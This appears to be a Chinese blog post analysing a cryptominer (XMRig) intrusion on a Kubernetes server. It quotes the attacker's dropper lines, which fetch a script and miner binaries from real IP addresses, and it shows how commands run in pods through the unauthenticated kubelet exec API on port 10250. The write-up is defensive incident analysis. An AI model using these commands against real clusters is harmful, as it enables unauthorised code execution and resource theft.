今天,在公司的服务器上发现了一个CPU利用率非常高的问题,
现象 如下图,cpu一直高居不下
查看进程信息
[root@xxx 9381]# ps -ef | grep 9381
root 9381 1 49 Jul12 ? 4-08:37:04 /tmp/docker -c /tmp/k.conf
root 13779 4975 0 21:10 pts/5 00:00:00 grep --color=auto 9381
经过谷歌 ,就发现了两个相关的信息
“/tmp/docker -c /tmp/k.conf” process use 100% CPU
tmp-docker-c-tmp-k-conf-process-use-more-than-100-cpu
其中具体这边文章“/tmp/docker -c /tmp/k.conf” process use 100% CPU说到被挖矿程序入侵相关的信息
如下图
还有一遍文章设计到这方面的信息here on Medium
最后通过同事的努力证实了 确实被入侵了——服务器被植入了挖矿程序
证实步骤
由于可执行的程序已经被删除了,只能通过一下步骤查找原因
由于入侵者已经删除了执行的程序,只能看内存里面的信息
找到9381
的挖矿程序进程
找到内存地址
cd /proc/9381
[root@xxx 9381]# cat map
map_files/ maps
[root@xxx 9381]# cat maps
00400000-00637000 r-xp 00000000 fc:0b 176 /tmp/docker (deleted)
00836000-0083e000 rw-p 00236000 fc:0b 176 /tmp/docker (deleted)
0083e000-00847000 rw-p 00000000 00:00 0
00aaa000-00adf000 rw-p 00000000 00:00 0 [heap]
00adf000-00be5000 rw-p 00000000 00:00 0 [heap]
7f904c000000-7f904c021000 rw-p 00000000 00:00 0
7f904c021000-7f9050000000 ---p 00000000 00:00 0
7f9054000000-7f9054021000 rw-p 00000000 00:00 0
7f9054021000-7f9058000000 ---p 00000000 00:00 0
7f9058000000-7f9058021000 rw-p 00000000 00:00 0
7f9058021000-7f905c000000 ---p 00000000 00:00 0
7f905c000000-7f905c021000 rw-p 00000000 00:00 0
7f905c021000-7f9060000000 ---p 00000000 00:00 0
7f9060000000-7f9060021000 rw-p 00000000 00:00 0
7f9060021000-7f9064000000 ---p 00000000 00:00 0
7f9064000000-7f9064021000 rw-p 00000000 00:00 0
7f9064021000-7f9068000000 ---p 00000000 00:00 0
然后经过gdb工具dump内存里面的信息到某个文件下,具体操作步骤如下
vi /tmp/aa.out
发现了这个东东miner.fee.xmrig.com外号门罗币
另外经过摸索找到了相关的日志
通过请求路径
wget 或者 curl 获取脚本,就可以取到相应的脚本
curl 82.146.53.166/x.sh
脚本分析
是通过5.188.228.148 这个服务取对应的二进制文件,执行完之后,删除
获取二进制
if [ `getconf LONG_BIT` = "64" ]
then
$WGET /tmp/docker http://5.188.228.148/xmrig_64?$RANDOM
else
$WGET /tmp/docker http://5.188.228.148/xmrig_32?$RANDOM
fi
门罗币相关连接 门罗币
门罗币挖矿工具xmrig
确定是这个东西在搞鬼。。。,目前查出问题的根源了
获取kubelet上所有的容器信息
curl --insecure https://node-ip:10250/pods | jq
让kubelet所管理的pod执行自己所想要执行的命令或者程序
[root@nodename ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://node-ip:10250/exec/kube-system/heapster-1967565778-qp69q/heapster?command=/bin/sh&command=-c&command=echo&command=hellohellohellohellohello&input=1&output=1&tty=1"
* About to connect() to ipaddr port 10250 (#0)
* Trying ipaddr...
* Connected to ipaddr (ipaddr) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
* subject: CN=nodename@1511435132
* start date: Nov 23 11:05:32 2017 GMT
* expire date: Nov 23 11:05:32 2018 GMT
* common name: nodename@1511435132
* issuer: CN=nodename@1511435132
> POST /exec/kube-system/heapster-1967565778-qp69q/heapster?command=/bin/sh&command=-c&command=echo&command=hellohellohellohellohello&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: node-ip:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
>
< HTTP/1.1 302 Found
< Location: /cri/exec/rFwJX8f1
< Date: Sat, 21 Jul 2018 09:08:44 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host ipaddr left intact
日志显示
然后就可以随心所欲,为所欲为了Location: /cri/exec/rFwJX8f1
,取到了kubelet所管理的pod的,可以远程控制,这个真是赞啊
npm install -g wscat
wscat -c "https://node-ip:10250/cri/exec/rFwJX8f1" --no-check
参考:Analysis of a Kubernetes hack — Backdooring through kubelet
总结这次的黑客入侵原因:
1.是kubernetes的相关安全漏洞,具体请前往修复kubelet安全策略
2.相关人员安全做不到位引起的
【警惕】门罗币挖矿攻击再次袭来!你中招了嘛?
相关执行教程